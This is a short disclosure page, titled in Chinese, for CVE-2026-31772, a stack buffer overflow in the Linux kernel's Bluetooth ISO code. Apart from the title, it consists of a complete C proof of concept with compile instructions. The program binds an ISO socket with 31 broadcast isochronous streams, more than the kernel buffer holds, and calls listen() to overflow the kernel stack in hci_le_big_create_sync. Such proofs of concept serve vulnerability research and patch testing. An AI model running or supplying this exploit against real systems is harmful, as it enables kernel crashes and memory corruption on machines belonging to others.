CVE-2026-31772 Linux内核蓝牙栈缓冲区溢出漏洞

/* * PoC for CVE-2026-31772: Stack Buffer Overflow in hci_le_big_create_sync * Trigger: Create ISO socket with bc_num_bis=31 and call listen(). * Compile: gcc -o poc_cve2026_31772 poc_cve2026_31772.c -lbluetooth */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/bluetooth.h> #include <linux/iso.h> #define ISO_MAX_NUM_BIS 31 int main() { int sock; struct sockaddr_iso addr; // Create an ISO socket sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_ISO); if (sock < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.iso_family = AF_BLUETOOTH; bacpy(&addr.iso_bdaddr, BDADDR_ANY); // Set bc_num_bis to 31 to trigger the stack overflow // Kernel stack allocates for 17, input allows up to 31. addr.iso_bc_num_bis = ISO_MAX_NUM_BIS; // Initialize BIS array for(int i = 0; i < ISO_MAX_NUM_BIS; i++) { addr.iso_bc_bis[i] = i + 1; } // Bind the socket with malicious parameters if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return 1; } // Trigger the vulnerable kernel path printf("[+] Triggering hci_le_big_create_sync overflow via listen()...\n"); if (listen(sock, 1) < 0) { perror("listen"); close(sock); return 1; } printf("[+] Done. Check dmesg for KASAN stack-out-of-bounds report.\n"); close(sock); return 0; }